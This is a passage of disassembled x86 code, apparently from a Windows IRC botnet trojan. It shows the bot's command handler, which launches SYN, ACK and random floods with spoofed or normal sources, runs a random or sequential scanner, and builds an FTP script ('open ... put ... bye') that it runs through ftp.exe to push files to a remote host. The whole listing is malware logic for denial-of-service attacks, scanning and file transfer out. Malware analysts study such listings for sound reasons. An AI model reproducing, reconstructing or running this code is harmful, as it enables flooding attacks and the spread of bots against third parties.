		push	eax
		push	esi
		call	dword_4CBA24
		push	ebx
		lea	eax, [ebp+var_448C]
		push	edi
		push	eax
		push	esi
		call	dword_4CB9EC
		push	esi
		call	dword_4CBA6C
		call	dword_4CB92C
		lea	eax, [ebp+var_458C]
		push	eax
		push	offset unk_42AEFC


loc_406BEF:				; CODE XREF: sub_401ACD+2E3Fj
					; sub_401ACD+4561j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266


loc_406BFB:				; CODE XREF: sub_401ACD+2431j
		add	esp, 0Ch


loc_406BFE:				; CODE XREF: sub_401ACD+4485j
					; sub_401ACD+6575j ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_406C1F
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_406C1F:				; CODE XREF: sub_401ACD+296Fj
					; sub_401ACD+29C2j ...
		mov	esi, [ebp+arg_24]


loc_406C22:				; CODE XREF: sub_401ACD+6814j
					; sub_401ACD+773Fj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx
		mov	eax, esi
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_406C36:				; CODE XREF: sub_401ACD+4FCCj
		push	[ebp+arg_8]
		push	offset aHttpcon	; "httpcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406C60
		push	[ebp+arg_8]
		push	offset aHcon	; "hcon"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_407208


loc_406C60:				; CODE XREF: sub_401ACD+517Aj
		push	[ebp+esi+var_7C]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41C159
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_410ADC
		jmp	loc_404085
; ---------------------------------------------------------------------------


loc_406C8E:				; CODE XREF: sub_401ACD+4F9Ej
					; sub_401ACD+4FB5j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aAck	; "ack"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		lea	eax, [ebp+var_1358]
		push	eax
		push	offset aRandom_0 ; "random"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_406CF1
		push	offset unk_42AEB4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_406CF1:				; CODE XREF: sub_401ACD+51EAj
					; sub_401ACD+5201j ...
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_1250],	eax
		jle	loc_406E1D
		push	edi
		lea	eax, [ebp+var_1358]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_13D8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41C360
		push	[ebp+arg_0]
		call	sub_41C159
		mov	[ebp+var_1254],	eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_8EE], bl
		push	[ebp+var_88]
		setnz	al
		mov	[ebp+var_124C],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_13DC],	eax
		lea	eax, [ebp+var_12D8]
		push	esi
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_124C],	ebx
		mov	[ebp+var_1248],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1244],	eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_406D8E
		mov	eax, offset aNormal ; "Normal"


loc_406D8E:				; CODE XREF: sub_401ACD+52BAj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset unk_42AE70
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	14h
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_1258],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_13DC]
		push	ebx
		push	eax
		push	offset byte_4149C1
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1258]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406E0C


loc_406DF6:				; CODE XREF: sub_401ACD+533Dj
		cmp	[ebp+var_1240],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_406DF6
; ---------------------------------------------------------------------------


loc_406E0C:				; CODE XREF: sub_401ACD+5327j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42AE38
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406E1D:				; CODE XREF: sub_401ACD+5235j
		push	offset unk_42AE00


loc_406E22:				; CODE XREF: sub_401ACD+1FBEj
					; sub_401ACD+1FD4j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	loc_4081AD
; ---------------------------------------------------------------------------


loc_406E35:				; CODE XREF: sub_401ACD+4F11j
					; sub_401ACD+4F28j ...
		cmp	dword_4CBAC4, ebx
		jnz	loc_406F44
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_FF8], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_FFC], eax
		lea	eax, [ebp+var_1090]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_1010],	eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_100C],	eax
		call	sub_41C159
		push	7Fh
		mov	[ebp+var_1008],	eax
		push	[ebp+var_88]
		lea	eax, [ebp+var_1110]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+arg_4]
		add	esp, 24h
		mov	[ebp+var_1114],	eax
		lea	eax, [ebp+var_1090]
		push	[ebp+var_1008]
		push	[ebp+var_100C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_1010]
		push	offset unk_42ADB8
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	16h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_1000],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_1114]
		push	ebx
		push	eax
		push	offset dword_413E10
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_1000]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_406F33


loc_406F1D:				; CODE XREF: sub_401ACD+5464j
		cmp	[ebp+var_FF4], ebx
		jnz	loc_4081AD
		push	32h
		nop
		call	near ptr 2680EF8h
		jmp	short loc_406F1D
; ---------------------------------------------------------------------------


loc_406F33:				; CODE XREF: sub_401ACD+544Ej
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42AD80
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_406F44:				; CODE XREF: sub_401ACD+536Ej
		push	1FFh
		lea	eax, [ebp+var_2C4]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_41BFD0
		jmp	loc_4081AA
; ---------------------------------------------------------------------------


loc_406F5F:				; CODE XREF: sub_401ACD+4EE3j
					; sub_401ACD+4EFAj
		push	[ebp+arg_18]
		lea	eax, [ebp+var_2C4]
		push	edi
		push	[ebp+arg_0]
		push	offset unk_42AD2C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	[ebp+arg_0]
		call	sub_41B9C0
		push	[ebp+arg_18]
		mov	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_20]
		add	edi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	edi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_10]
		lea	eax, [eax+edi+7]
		push	eax
		call	sub_41C2E0
		add	esp, 40h
		mov	[ebp+arg_C], eax
		push	[ebp+arg_0]
		call	sub_41C159
		mov	edi, [ebp+arg_20]
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_1C], ebx
		jle	short loc_407059


loc_406FE2:				; CODE XREF: sub_401ACD+5539j
		push	[ebp+arg_C]
		push	[ebp+arg_18]
		push	edi
		call	sub_418AF1
		add	esp, 0Ch
		cmp	eax, 1
		mov	[ebp+arg_20], eax
		jz	short loc_40700A
		cmp	eax, ebx
		jnz	short loc_407029
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_1C]
		cmp	eax, [ebp+arg_14]
		jl	short loc_406FE2
		jmp	short loc_407062
; ---------------------------------------------------------------------------


loc_40700A:				; CODE XREF: sub_401ACD+552Aj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42ACF4


loc_407013:				; CODE XREF: sub_401ACD+559Ej
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h
		jmp	loc_407208
; ---------------------------------------------------------------------------


loc_407029:				; CODE XREF: sub_401ACD+552Ej
		push	[ebp+arg_20]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ACC0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407059:				; CODE XREF: sub_401ACD+5513j
		cmp	[ebp+arg_20], ebx
		jnz	loc_407208


loc_407062:				; CODE XREF: sub_401ACD+553Bj
		push	ebx
		push	[ebp+var_4]
		push	offset unk_42AC8C
		jmp	short loc_407013
; ---------------------------------------------------------------------------


loc_40706D:				; CODE XREF: sub_401ACD+4E9Ej
					; sub_401ACD+4EB5j ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_C68], eax
		mov	eax, [ebp+var_4]


loc_40707B:				; DATA XREF: ___:004330E0o
					; ___:004330F4o ...
		mov	[ebp+var_C6C], eax
		lea	eax, [ebp+var_D00]
		push	edi
		push	eax
		call	sub_41BFD0
		push	[ebp+arg_18]
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_C80], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_C7C], eax
		call	sub_41C159
		mov	esi, [ebp+esi+var_7C]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_C78], eax
		jz	short loc_4070D2
		push	esi
		call	sub_41C159
		pop	ecx
		mov	[ebp+var_C74], eax
		jmp	short loc_4070D8
; ---------------------------------------------------------------------------


loc_4070D2:				; CODE XREF: sub_401ACD+55F4j
		mov	[ebp+var_C74], ebx


loc_4070D8:				; CODE XREF: sub_401ACD+5603j
		push	7Fh
		lea	eax, [ebp+var_D80]
		push	[ebp+var_88]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_D00]
		mov	[ebp+var_D84], esi
		push	[ebp+var_C78]
		push	[ebp+var_C7C]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_C80]
		push	offset unk_42AC44
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	17h
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_C70], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_D84]
		push	ebx
		push	eax
		push	offset dword_413F9C
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_C70]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40717B


loc_407169:				; CODE XREF: sub_401ACD+56ACj
		cmp	[ebp+var_C64], ebx
		jnz	short loc_407196
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_407169
; ---------------------------------------------------------------------------


loc_40717B:				; CODE XREF: sub_401ACD+569Aj
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42AC0C


loc_407187:				; CODE XREF: sub_401ACD+4D09j
					; sub_401ACD+61E0j ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_407196:				; CODE XREF: sub_401ACD+4CEDj
					; sub_401ACD+56A2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	[ebp+var_4]


loc_4071A3:				; CODE XREF: sub_401ACD+2284j
		lea	eax, [ebp+var_2C4]
		push	eax
		push	[ebp+var_88]
		push	esi
		jmp	loc_4081CA
; ---------------------------------------------------------------------------


loc_4071B6:				; CODE XREF: sub_401ACD+4E70j
					; sub_401ACD+4E87j
		push	0Bh
		call	sub_40B602
		push	[ebp+arg_18]
		mov	[ebp+arg_1C], eax
		call	sub_41C159
		add	eax, [ebp+arg_1C]
		pop	ecx
		pop	ecx
		cmp	eax, 320h
		jle	loc_407381
		push	[ebp+arg_1C]
		lea	eax, [ebp+var_2C4]
		push	offset unk_42ABD0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h


loc_407208:				; CODE XREF: sub_401ACD+518Dj
					; sub_401ACD+5557j ...
		mov	esi, [ebp+esi+var_7C]
		cmp	esi, ebx
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aUpload	; "upload"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_409644
		push	4
		push	esi
		call	sub_416CAF
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_407253
		push	esi
		push	offset unk_42ABA8


loc_40723F:				; CODE XREF: sub_401ACD+711Ej
					; sub_401ACD+796Bj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	loc_403F9D
; ---------------------------------------------------------------------------


loc_407253:				; CODE XREF: sub_401ACD+576Aj
		call	near ptr 26A07AFh
		nop
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_50FC]
		push	edx
		push	eax
		lea	eax, [ebp+var_2E5C]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2E5C]
		push	offset aAb	; "ab"
		push	eax
		call	sub_41BEA2
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_401F75
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_41C7E6
		push	[ebp+arg_24]
		call	sub_41BA3B
		add	esp, 20h
		lea	eax, [ebp+var_2E5C]
		push	eax
		lea	eax, [ebp+var_4CF8]
		push	offset aSS_1	; "-s:%s"
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		lea	eax, [ebp+var_4CF8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_4CB940
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_407320
		push	offset unk_42AB38
		jmp	short loc_407325
; ---------------------------------------------------------------------------


loc_407320:				; CODE XREF: sub_401ACD+584Aj
		push	offset unk_42AB08


loc_407325:				; CODE XREF: sub_401ACD+5851j
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_40734E
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_40734E:				; CODE XREF: sub_401ACD+5863j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38


loc_40735A:				; CODE XREF: sub_401ACD+58B2j
		lea	eax, [ebp+var_2E5C]
		push	4
		push	eax
		call	sub_416CAF
		add	esp, 0Ch
		test	eax, eax
		jz	loc_401F75
		lea	eax, [ebp+var_2E5C]
		push	eax
		call	sub_41C7BC
		jmp	short loc_40735A
; ---------------------------------------------------------------------------


loc_407381:				; CODE XREF: sub_401ACD+5705j
		push	edi
		call	sub_41C159
		push	[ebp+arg_18]
		mov	[ebp+var_370], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_358], eax
		call	sub_41C159
		add	esp, 0Ch
		cmp	eax, 5
		mov	[ebp+var_36C], eax
		jnb	short loc_4073BA
		push	5
		pop	eax
		mov	[ebp+var_36C], eax


loc_4073BA:				; CODE XREF: sub_401ACD+58E2j
		push	3Ch
		pop	ecx
		cmp	eax, ecx
		jbe	short loc_4073C7
		mov	[ebp+var_36C], ecx


loc_4073C7:				; CODE XREF: sub_401ACD+58F2j
		push	[ebp+arg_10]
		call	sub_41C159
		cmp	eax, 320h
		pop	ecx
		mov	[ebp+var_368], eax
		jbe	short loc_4073E7
		mov	[ebp+var_368], 320h


loc_4073E7:				; CODE XREF: sub_401ACD+590Ej
		or	[ebp+var_354], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+arg_1C], ebx
		jz	short loc_40743D
		mov	[ebp+arg_24], offset dword_4317F8


loc_407400:				; CODE XREF: sub_401ACD+5952j
		mov	eax, [ebp+arg_24]
		push	edi
		add	eax, 0FFFFFFD8h
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_407423
		add	[ebp+arg_24], 40h
		inc	[ebp+arg_1C]
		mov	eax, [ebp+arg_24]
		cmp	[eax], ebx
		jnz	short loc_407400
		jmp	short loc_40743D
; ---------------------------------------------------------------------------


loc_407423:				; CODE XREF: sub_401ACD+5944j
		mov	eax, [ebp+arg_1C]
		mov	ecx, eax
		mov	[ebp+var_354], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_370], ecx


loc_40743D:				; CODE XREF: sub_401ACD+592Aj
					; sub_401ACD+5954j
		cmp	[ebp+var_370], ebx
		jnz	short loc_40744F
		push	offset unk_42AAD4
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_40744F:				; CODE XREF: sub_401ACD+5976j
		mov	edi, [ebp+esi+var_7C]
		cmp	edi, ebx
		mov	[ebp+arg_0], edi
		jz	short loc_40748A
		cmp	byte ptr [edi],	23h
		jz	short loc_40748A
		push	edi
		lea	eax, [ebp+var_484]
		push	10h
		push	eax
		call	sub_41C360
		push	78h
		push	edi
		call	sub_41C990
		add	esp, 14h
		neg	eax
		sbb	eax, eax
		neg	eax
		mov	[ebp+var_344], eax
		jmp	loc_407564
; ---------------------------------------------------------------------------


loc_40748A:				; CODE XREF: sub_401ACD+598Bj
					; sub_401ACD+5990j
		cmp	[ebp+var_8FF], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8FE], bl
		jnz	short loc_4074AC
		cmp	[ebp+var_8EE], bl
		jnz	short loc_4074AC
		push	offset unk_42AAA0
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_4074AC:				; CODE XREF: sub_401ACD+59C3j
					; sub_401ACD+59CBj ...
		push	10h
		lea	eax, [ebp+var_2D0]
		pop	edi
		push	eax
		lea	eax, [ebp+var_2F8]
		push	eax
		mov	[ebp+var_2D0], edi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	edi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2F4], eax
		push	[ebp+var_2F4]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8EE], bl
		jz	short loc_40755E
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	edi, eax
		lea	eax, [ebp+var_484]
		push	eax
		call	sub_41C820
		pop	ecx
		cmp	edi, ebx
		pop	ecx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_407552


loc_407530:				; CODE XREF: sub_401ACD+5A83j
		cmp	eax, ebx
		jz	short loc_407552
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_484]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, edi
		jl	short loc_407530


loc_407552:				; CODE XREF: sub_401ACD+5A61j
					; sub_401ACD+5A65j
		mov	[ebp+var_344], 1
		jmp	short loc_407564
; ---------------------------------------------------------------------------


loc_40755E:				; CODE XREF: sub_401ACD+5A3Bj
		mov	[ebp+var_344], ebx


loc_407564:				; CODE XREF: sub_401ACD+59B8j
					; sub_401ACD+5A8Fj
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	[ebp+var_374], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_34C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_348], eax
		mov	edi, 80h
		lea	eax, [ebp+var_474]
		push	edi
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_78]
		add	esp, 0Ch
		cmp	esi, ebx
		jz	short loc_4075B5


loc_4075A2:				; CODE XREF: sub_401ACD+5B0Bj
		push	esi


loc_4075A3:				; CODE XREF: sub_401ACD+5AF5j
		lea	eax, [ebp+var_3F4]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_4075E0
; ---------------------------------------------------------------------------


loc_4075B5:				; CODE XREF: sub_401ACD+5AD3j
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_4075C4
		cmp	byte ptr [eax],	23h
		jnz	short loc_4075C4
		push	eax
		jmp	short loc_4075A3
; ---------------------------------------------------------------------------


loc_4075C4:				; CODE XREF: sub_401ACD+5AEDj
					; sub_401ACD+5AF2j
		mov	esi, offset aF	; "#f"
		push	offset byte_43DB88
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4075A2
		mov	[ebp+var_3F4], bl


loc_4075E0:				; CODE XREF: sub_401ACD+5AE6j
		cmp	[ebp+var_344], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4075F2
		mov	eax, offset aSequential	; "Sequential"


loc_4075F2:				; CODE XREF: sub_401ACD+5B1Ej
		push	[ebp+var_358]
		lea	ecx, [ebp+var_484]
		push	[ebp+var_368]
		push	[ebp+var_36C]
		push	[ebp+var_370]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42AA38
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_364], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_484]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		nop
		call	near ptr 2690000h
		mov	ecx, [ebp+var_364]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407680


loc_40766A:				; CODE XREF: sub_401ACD+5BB1j
		cmp	[ebp+var_340], ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_40766A
; ---------------------------------------------------------------------------


loc_407680:				; CODE XREF: sub_401ACD+5B9Bj
		call	near ptr 269086Bh
		nop
		push	eax
		push	offset unk_42AA00
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_407691:				; CODE XREF: sub_401ACD+4E42j
					; sub_401ACD+4E59j
		push	edi
		call	sub_40A8F0
		push	[ebp+arg_18]
		mov	[ebp+var_4E0], eax
		call	sub_41C159
		push	[ebp+arg_0]
		mov	[ebp+var_4F0], eax
		call	sub_41C159
		push	[ebp+arg_10]
		mov	[ebp+var_4EC], eax
		call	sub_41C159
		mov	esi, [ebp+arg_4]
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_4E8], eax
		lea	eax, [ebp+var_570]
		mov	[ebp+var_574], esi
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		mov	edi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		mov	[ebp+var_4D8], edi
		push	[ebp+var_4EC]
		mov	[ebp+var_4D4], eax
		push	[ebp+var_4F0]
		push	[ebp+var_4E8]
		push	[ebp+var_4E0]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42A9B0
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 24h
		mov	[ebp+var_4E4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_574]
		push	ebx
		push	eax
		push	offset byte_40CA1D
		push	ebx
		push	ebx
		call	near ptr 2690000h
		nop
		mov	ecx, [ebp+var_4E4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_407786


loc_407770:				; CODE XREF: sub_401ACD+5CB7j
		cmp	[ebp+var_4D0], ebx
		jnz	loc_403D46
		push	32h
		call	near ptr 2680EF8h
		nop
		jmp	short loc_407770
; ---------------------------------------------------------------------------


loc_407786:				; CODE XREF: sub_401ACD+5CA1j
		nop
		call	near ptr 269086Bh
		push	eax
		push	offset unk_42A974
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_407797:				; CODE XREF: sub_401ACD+4E05j
					; sub_401ACD+4E1Cj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		add	esp, 14h
		mov	esi, eax
		lea	eax, [ebp+var_2C4]
		push	esi
		push	offset dword_42A968
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	ebx
		push	eax
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_2	; "[%s]	* %s %s"
		jmp	loc_407957
; ---------------------------------------------------------------------------


loc_407887:				; CODE XREF: sub_401ACD+4DD7j
					; sub_401ACD+4DEEj
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		cmp	byte_43E928[eax], bl
		jz	loc_409644
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	[ebp+arg_18]
		call	sub_41B9C0
		push	edi
		mov	esi, eax
		call	sub_41B9C0
		push	[ebp+arg_8]
		add	esi, eax
		call	sub_41B9C0
		add	eax, [ebp+var_C]
		push	[ebp+arg_0]
		lea	eax, [eax+esi+2]
		push	eax
		call	sub_41C2E0
		mov	esi, eax
		add	esp, 14h
		cmp	esi, ebx
		jz	loc_409644
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jle	loc_409644
		push	edi
		call	sub_41C159
		cmp	eax, 400h
		pop	ecx
		jge	loc_409644
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_18]
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		push	dword_43E91C[eax]
		call	sub_409869
		push	edi
		call	sub_41C159
		imul	eax, 234h
		add	esp, 18h
		cmp	byte ptr dword_43E710[eax], 73h
		jnz	loc_409644
		push	esi
		push	edi
		call	sub_41C159
		imul	eax, 234h
		pop	ecx
		add	eax, offset byte_43E928
		push	eax
		push	[ebp+arg_18]
		push	offset aSSS_1	; "[%s]	<%s> %s"


loc_407957:				; CODE XREF: sub_401ACD+5DB5j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 28h
